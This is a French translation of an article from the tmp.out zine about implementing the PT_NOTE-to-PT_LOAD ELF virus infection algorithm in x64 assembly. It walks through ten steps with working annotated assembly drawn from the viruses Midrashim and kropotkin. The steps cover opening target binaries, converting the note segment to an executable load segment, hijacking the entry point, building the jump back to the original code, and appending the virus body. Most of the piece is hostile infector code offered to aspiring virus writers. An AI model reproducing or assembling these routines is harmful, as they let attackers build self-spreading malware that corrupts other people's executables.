┌───────────────────────┐
▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄ │
│ █ █ █ █ █ █ │
│ █ █ █ █ █▀▀▀▀ │
│ █ █ █ █ ▄ │
│ ▄▄▄▄▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄ ▄ │
│ █ █ │
│ █ █ │
│ █▄▄▄█ │
│ ▄▄▄▄▄ │
Implémentation du processus d'infection PT_NOTE en │ █ │
l'assembleur x64 │ █ │
~ sblip et l'équipe de tmp.out └───────────────────█ ──┘
[ Traduit en français par @MorpheusH3x)from the ret2school team ]
Dans ce premier numéro de tmp.out, nous avons fourni plusieurs exemples de
l'algorithme d'infection PT_NOTE->PT_LOAD, trois en asm x64 et un en Rust.
Pour ceux qui apprennent le métier, j'ai pensé qu'il était utile d'aborder la mise en
œuvre de certaines des étapes spécifiques dans l'assemblage x64. En mars 2019, alors
que je travaillais sur une réécriture golang de la backdoorfactory, j'ai écrit une
analyse de la mise en œuvre de l'algorithme en golang en lien ci-dessous, pour ceux
qui sont intéressés à faire des choses amusantes ELF en golang :
https://www.symbolcrash.com/2019/03/27/pt_note-to-pt_load-injection-in-elf/
L'algorithme pour x64 est bien sûr le même, mais je vais fournir quelques extraits de
code ci-dessous qui, je l'espère, seront utiles pour le futur programmeur ELF pour
x64.
Nous pouvons utiliser les mêmes étapes énumérées dans l'article ci-dessus comme
référence, bien que l'ordre dans lequel les choses sont faites puisse changer en
fonction de l'implémentation. Certaines méthodes écrivent un nouveau fichier sur le
disque et le recopient ensuite, tandis que d'autres écrivent directement dans le
fichier.
À partir du lien ci-dessus, une liste générique d'étapes pour mettre en œuvre
l'algorithme d'infection PT_NOTE->PT_LOAD :
1. Ouvrir le fichier ELF à injecter.
2. Sauvegarder le point d'entrée original, e_entry.
3. Analyser la table d'en-tête du programme, à la recherche d'un segment PT_NOTE.
4. Convertir le segment PT_NOTE en segment PT_LOAD.
5. Modifier les protections de la mémoire pour ce segment afin de permettre les
instructions exécutables.
6. Changer l'adresse du point d'entrée en une zone qui n'entrera pas en conflit
avec l'exécution du programme original.
7. Ajuster la taille sur le disque et la taille de la mémoire virtuelle pour tenir
compte de la taille du code injecté.
8. Pointer l'offset de notre segment converti vers la fin du binaire original,
où nous allons stocker le nouveau code.
9. Corriger la fin du code avec des instructions pour sauter au point d'entrée
original.
10. Ajouter notre code injecté à la fin du fichier.
*11. Réécrire le fichier sur le disque, par-dessus le fichier original* -- nous ne
couvrirons pas cette variante d'implémentation ici, qui crée un nouveau binaire
ELF temporaire sur le disque.
Nous suivrons grossièrement les étapes ci-dessus, mais le lecteur doit garder à
l'esprit que certaines d'entre elles peuvent être exécutées dans le désordre (et que
certaines ne peuvent être exécutées avant que d'autres ne l'aient été) - mais au
final, toutes les étapes doivent être suivies.
1. Ouvrir le fichier ELF (Executable and Linkable Format, format exécutable et
liable) à injecter:
L'appel syscall getdents64() est la façon dont nous trouvons les fichiers sur les
systèmes 64 bits. La fonction est définie comme suit :
int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);
Nous laisserons l'implémentation de getdents64() comme un exercice pour le lecteur -
Il y a plusieurs exemples de cela dans le code distribué avec cette publication, y
compris dans Midrashim, kropotkin, Eng3ls, et Bak0unin.
Pour les historiens d'ELF, j'ai écrit un article terrible (et maintenant complètement
dépassé) il y a 20 ans sur la façon de faire cela en syntaxe AT&T 32 bits, situé ici:
https://tmpout.sh/papers/getdents.old.att.syntax.txt
En supposant que nous ayons appelé getdents64() et stocké la structure d'entrée de
répertoire sur la pile, nous pouvons voir en la regardant :
struct linux_dirent {
unsigned long d_ino; /* Numéro d'inœud */
unsigned long d_off; /* Distance au prochain linux_dirent */
unsigned short d_reclen; /* Longueur de ce linux_dirent */
char d_name[]; /* Nom de fichier (fini par un caractère nul '\0') */
/* La longueur est en fait (d_reclen - 2 -
offsetof(struct linux_dirent, d_name)) */
/*
char pad; // Octet nul de remplissage
char d_type; // Type de fichier (seulement depuis
// Linux 2.6.4) ; sa position est
// (d_reclen - 1)
*/
}
Le nom de fichier à terminaison nulle d_name se trouve à l'offset [rsp+18] ou
[rsp+0x12]
d_ino est les octets 0-7 - unsigned long
d_off est les octets 8-15 - unsigned long
d_reclen est les octets 16-17 - unsigned short
d_name commence sur le 18ème octet. - nom de fichier à terminaison nulle '\0'
pour notre appel à open(), int open(const char *pathname, int flags, mode_t mode) ;
- rax contiendra le numéro du syscall, 2.
- rdi contiendra le nom de fichier d_name, dans notre cas [rsp+18].
- rsi contiendra les drapeaux, qui pourraient être soit O_RDONLY (0) soit
O_RDWR (02), selon la façon dont notre vx fonctionne.
- rdx contiendra le mode, mais nous n'en avons pas besoin et nous le mettrons
à zéro.
Donc le code suivant :
mov rax, 2 ; mettre en place l'appel syscall désiré
mov rdi, [rsp+18] ; d_nom de la structure dirent qui commence au début
; de la pile/ stack.
mov rsi, 2 ; O_RDWR / Lecture et écriture
syscall
retournera un descripteur de fichier dans rax si elle réussit.
0 ou négatif, si une erreur s'est produite lors de l'ouverture du fichier.
cmp rax, 0
jng file_open_error
ou
test rax, rax
js file_open_error
2. Sauvegarder le point d'entrée original, e_entry:
Dans Midrashim de TMZ, il stocke le point d'entrée original dans le registre r14 pour
une utilisation ultérieure, qu'il a copié sur la stack. Les registres hauts r13, r14,
et r15 sont de bons endroits pour stocker des données/adresses pour une utilisation
ultérieure, car ils ne sont pas encombrés par les appels système.
; Mémoire tampon de la stack:
; r15 + 0 = tampon de la stack (10000 bytes) = stat
; r15 + 48 = stat.st_size
; r15 + 144 = ehdr
; r15 + 148 = ehdr.class
; r15 + 152 = ehdr.pad
; r15 + 168 = ehdr.entry
---cut---
mov r14, [r15 + 168] ; stockage de l'entrée ehdr.originale provenant de [r15 + 168]
; dans r14
3. Analyser la table d'en-tête du programme, à la recherche d'un segment PT_NOTE:
Comme vous l'avez probablement déduit du nom de cet article, notre objectif est de
convertir un segment PT_NOTE en un segment PT_LOAD chargeable, avec des permissions
rx (ou rwx). Je serais négligent de ne pas mentionner que cet algorithme ne
fonctionne pas "à l'emporte-pièce" pour certains binaires tels que les binaires en
golang, et tous les binaires compilés avec le drapeau -fcf-protection, sans encore
plus de magie que nous n'avons pas encore fait (ou vu). Le prochain contenu du zine,
Every0ne ?
Mis à part les cas limites, le concept de base est simple - les segments PT_LOAD sont
effectivement chargés en mémoire lorsqu'un binaire ELF est exécuté - les segments
PT_NOTE ne le sont pas. Cependant, si nous changeons une section PT_NOTE en type
PT_LOAD, et changeons les permissions de mémoire pour au moins lire et exécuter, nous
pouvons y placer le code que NOUS voulons exécuter, écrire nos données à la fin du
fichier d'origine et modifier les variables d'entrée de la table d'en-tête de
programme associée pour faciliter le chargement correct.
Nous plaçons une valeur dans le champ d'adresse virtuelle v_addr qui se trouve très
haut dans la mémoire, ce qui ne gênera pas l'exécution normale du programme. Nous
modifions ensuite le point d'entrée d'origine pour sauter d'abord vers notre nouveau
code de segment PT_LOAD, qui fait ce qu'il fait, puis appelle le code du programme
d'origine.
Une entrée de la table d'en-tête de programme ELF 64 bits a la structure suivante:
typedef struct {
uint32_t p_type; // 4 octets
uint32_t p_flags; // 4 octets
Elf64_Off p_offset; // 8 octets
Elf64_Addr p_vaddr; // 8 octets
Elf64_Addr p_paddr; // 8 octets
uint64_t p_filesz; // 8 octets
uint64_t p_memsz; // 8 octets
uint64_t p_align; // 8 octets
} Elf64_Phdr;
Dans cet extrait de code de kropotkin.s, nous parcourons chaque entrée du PHT en
chargeant l'offset du Program Header Table dans rbx, le nombre d'entrées PHT dans
ecx, et en lisant les 4 premiers octets au début de l'entrée à la recherche d'une
valeur de 4, qui est le nombre désigné pour les segments de type PT_NOTE.
parse_phdr: ; PHT = Program Header Table
xor rcx, rcx ; Remise à zéro de rcx
xor rdx, rdx ; Remise à zéro de rcx
mov cx, word [rax+e_hdr.phnum] ; rcx contient le nombre d'entrées du PHT
mov rbx, qword [rax+e_hdr.phoff] ; rbx contient l'offset du PHT
mov dx, word [rax+e_hdr.phentsize] ; rdx contient la taille d'une entrée dans le
; PHT
loop_phdr:
add rbx, rdx ; pour chaque itération, ajouter la taille d'une
; entrée PHT
dec rcx ; diminuer phnum jusqu'à ce que nous ayons itéré
; au travers de tous les en-têtes du programme
; ou segments PT_NOTE trouvés
cmp dword [rax+rbx+e_phdr.type], 0x4 ; si 4, nous avons trouvé un segment
; PT_NOTE, et allons l'infecter
je pt_note_found
cmp rcx, 0
jg loop_phdr
...
...
pt_note_found:
4. Convertir le segment PT_NOTE en segment PT_LOAD:
Pour convertir un segment PT_NOTE en un segment PT_LOAD,
nous devons modifier quelques valeurs dans l'entrée du PHT qui décrit le segment.
Notez que les binaires ELF 32 bits ont une structure d'entrée PHT différente,
la valeur p_flags étant la 7ème entrée de la structure, alors qu'elle est la 2ème
entrée dans son homologue 64 bits.
typedef struct {
uint32_t p_type; <-- Changez cette valeur à PT_LOAD == 1
uint32_t p_flags; <-- Passez à des droits de lecture et d'exécution au moins.
Elf64_Off p_offset;
Elf64_Addr p_vaddr; <-- Adresse virtuelle très élevée où le segment sera chargé
Elf64_Addr p_paddr;
uint64_t p_filesz;
uint64_t p_memsz;
uint64_t p_align;
} Elf64_Phdr;
Tout d'abord, le p_type doit être changé de PT_NOTE, qui est 4, à PT_LOAD, qui est 1.
Deuxièmement, les p_flags doivent être modifiés pour, au minimum, permettre l'accès
en lecture et en exécution. Il s'agit d'un masque de bits standard, tout comme les
permissions de fichiers d'Unix, avec
PF_X == 1
PF_W == 2
PF_R == 4
Dans la syntaxe fasm (flat assembler), comme indiqué ci-dessous, cela se fait
simplement en tapant "PF_R ou PF_X".
Troisièmement, nous devons choisir une adresse pour le chargement des nouvelles
données virales. Une technique courante consiste à choisir une adresse très élevée,
0xc000000, qui a peu de chances de chevaucher un segment existant. Nous ajoutons
cette valeur à la taille du fichier stat.st_size, qui, dans le cas ci-dessous, a été
extraite de r15+48 et stockée dans r13, à laquelle nous ajoutons ensuite 0xc000000.
Nous stockons ensuite cette valeur dans p_vaddr.
Dans Midrashim de TMZ:
.patch_phdr:
mov dword [r15 + 208], PT_LOAD ; changer le type de phdr [r15 + 208]
; de PT_NOTE à PT_LOAD (1)
mov dword [r15 + 212], PF_R or PF_X ; changer phdr.flags en [r15 + 212]
; à PF_X (1) ou PF_R (4)
pop rax ; restaurer l'offset EOF de la cible
; dans rax
mov [r15 + 216], rax ; phdr.offset [r15 + 216] = target
; EOF offset
mov r13, [r15 + 48] ; stockage de la cible stat.st_size
; de [r15 + 48] en r13
add r13, 0xc000000 ; ajouter 0xc000000 à la taille du
; fichier cible
mov [r15 + 224], r13 ; changer de phdr.vaddr en [r15+224]
; vers le nouveau en r13
; (stat.st_size + 0xc000000)
mov qword [r15 + 256], 0x200000 ; définir phdr.align [r15 + 256] à
; 0x200000
add qword [r15 + 240], v_stop - v_start + 5 ; ajouter la taille du virus à
; phdr.filesz en [r15 + 240] + 5
; pour le saut à l'original
; ehdr.entry
add qword [r15 + 248], v_stop - v_start + 5 ; ajouter la taille du virus à
; phdr.memsz en [r15 + 248] + 5 pour
; le saut à l'original ehdr.entry
5. Modifier les protections de la mémoire pour ce segment afin de permettre les
instructions exécutables:
mov dword [r15 + 212], PF_R or PF_X ; changer phdr.flags en [r15 + 212]
; à PF_X (1) ou PF_R (4)
6. Changer l'adresse du point d'entrée en une zone qui n'entrera pas en conflit avec
l'exécution du programme original:
Nous utiliserons 0xc000000. Choisissez une adresse qui sera suffisamment haute dans
la mémoire virtuelle pour qu'une fois chargée, elle ne chevauche pas d'autres codes.
mov r13, [r15 + 48] ; stockage de la cible stat.st_size de [r15 + 48] en r13
add r13, 0xc000000 ; ajout de 0xc000000 à la taille du fichier cible
mov [r15 + 224], r13 ; remplacement de phdr.vaddr de [r15 + 224] par le
; nouveau en r13 (stat.st_size + 0xc000000)
7. Ajuster la taille sur le disque et la taille de la mémoire virtuelle pour tenir
compte de la taille du code injecté:
add qword [r15 + 240], v_stop - v_start + 5 ; ajouter la taille du virus à
; phdr.filesz en [r15 + 240] + 5
; pour le jmp à l'ehdr.entry original
add qword [r15 + 248], v_stop - v_start + 5 ; ajouter la taille du virus à
; phdr.memsz en [r15 + 248] + 5 pour
; le jmp à l'ehdr.entry original
8. Pointer l'offset de notre segment converti vers la fin du binaire original,
où nous allons stocker le nouveau code:
Précédemment dans Midrashim de TMZ, ce code était exécuté :
mov rdx, SEEK_END
mov rax, SYS_LSEEK
syscall ; stockage de l'offset de la cible EOF dans rax
push rax ; sauvegarde de la cible EOF
Dans .patch_phdr, nous utilisons cette valeur comme emplacement pour stocker notre
nouveau code :
pop rax ; restauration de l'offset EOF de la cible en rax
mov [r15 + 216], rax ; phdr.offset [r15 + 216] = offset EOF de la cible
9. Corriger la fin du code avec des instructions pour sauter au point d'entrée
original:
Exemple #1, tiré des Midrashim, utilisant l'algorithme de Binjection :
.write_patched_jmp:
; obtention d'une nouvelle cible EOF
mov rdi, r9 ; r9 contient fd
mov rsi, 0 ; rechercher l'offset 0
mov rdx, SEEK_END ; commencer à la fin du fichier
mov rax, SYS_LSEEK ; lseek syscall (appel système)
syscall ; obtention de l'offset de la cible EOF dans rax
; création d'un jmp patché
mov rdx, [r15 + 224] ; rdx = phdr.vaddr
add rdx, 5 ; la taille d'une instruction jmp
sub r14, rdx ; soustraire la taille du saut de notre mémoire.
; e_entry de l'étape 2 (sauvegarde de e_entry)
sub r14, v_stop - v_start ; soustraire la taille du code du virus lui-même
mov byte [r15 + 300 ], 0xe9 ; premier octet des instructions de saut
mov dword [r15 + 301], r14d ; nouvelle adresse à laquelle sauter, mise à jour
; par soustraction de la taille du virus et celle
; de l'instruction jmp
Exemple #2, à partir des vx de sblip/s01den, en utilisant la technique EOP de
elfmaster :
L'explication de cette méthode dépasse le cadre de ce document - à titre de
référence :
https://tmpout.sh/1/11.html
The code from kropotkin.s:
mov rcx, r15 ; rsp enregistré
add rcx, VXSIZE
mov dword [rcx], 0xffffeee8 ; appel relatif à get_eip
mov dword [rcx+4], 0x0d2d48ff ; sub rax, (VXSIZE+5)
mov byte [rcx+8], 0x00000005
mov word [rcx+11], 0x0002d48
mov qword [rcx+13], r9 ; sub rax, entry0
mov word [rcx+17], 0x0000548
mov qword [rcx+19], r12 ; add rax, sym._start
mov dword [rcx+23], 0xfff4894c ; movabs rsp, r14
mov word [rcx+27], 0x00e0 ; jmp rax
10. Ajouter notre code injecté à la fin du fichier:
Dans Midrashim de TMZ:
Nous ajoutons notre code directement à la fin du fichier, et pointons la nouvelle
adresse de PT_LOAD. Tout d'abord, nous recherchons la fin du fichier en utilisant
l'appel système lseek pour aller à la fin du fichier dont le descripteur de fichier
est maintenu dans le registre r9.
L'appel de .delta pousse l'adresse de l'instruction suivante sur le au sommet de la
pile, dans ce cas 'pop rbp'. En extrayant cette instruction et en puis en
soustrayant .delta, on obtient l'adresse mémoire du virus en cours d'exécution, qui
est utilisée lors de la lecture/copie du code du virus ci-dessous où vous où l'on
voit 'lea rsi, [rbp + v_start]' - fournissant un emplacement de départ pour la
lecture des les octets à écrire, avec le nombre d'octets à écrire est mis dans rdx
avant l'appel à pwrite64().
.append_virus:
; getting target EOF
mov rdi, r9 ; r9 contient fd
mov rsi, 0 ; rechercher l'offset 0
mov rdx, SEEK_END ; commencer à la fin du fichier
mov rax, SYS_LSEEK ; lseek syscall (appel système)
syscall ; obtention de l'offset de la cible EOF dans rax
push rax ; sauvegarde de la cible EOF
call .delta ; l'éternel tour de passe-passe
.delta:
pop rbp
sub rbp, .delta
; écrire le corps du virus à EOF
mov rdi, r9 ; r9 contains fd
lea rsi, [rbp + v_start] ; chargement de l'adresse v_start en rsi
mov rdx, v_stop - v_start ; la taille du virus
mov r10, rax ; rax contient le décalage de la cible EOF de l'appel
; syscall précédent
mov rax, SYS_PWRITE64 ; syscall #18, pwrite()
syscall
L'algorithme d'infection PT_NOTE présente l'avantage d'être assez facile à apprendre
et d'être très polyvalent. Il peut être combiné à d'autres techniques et toutes
sortes de données peuvent être stockées dans un segment PT_LOAD converti, y compris
des tables de symboles, des données brutes, du code pour un objet DT_NEEDED ou même
un binaire ELF entièrement séparé. J'espère que cet article sera utile à toute
personne apprenant le langage d'assemblage x64 dans le but de jouer avec des binaires
ELF.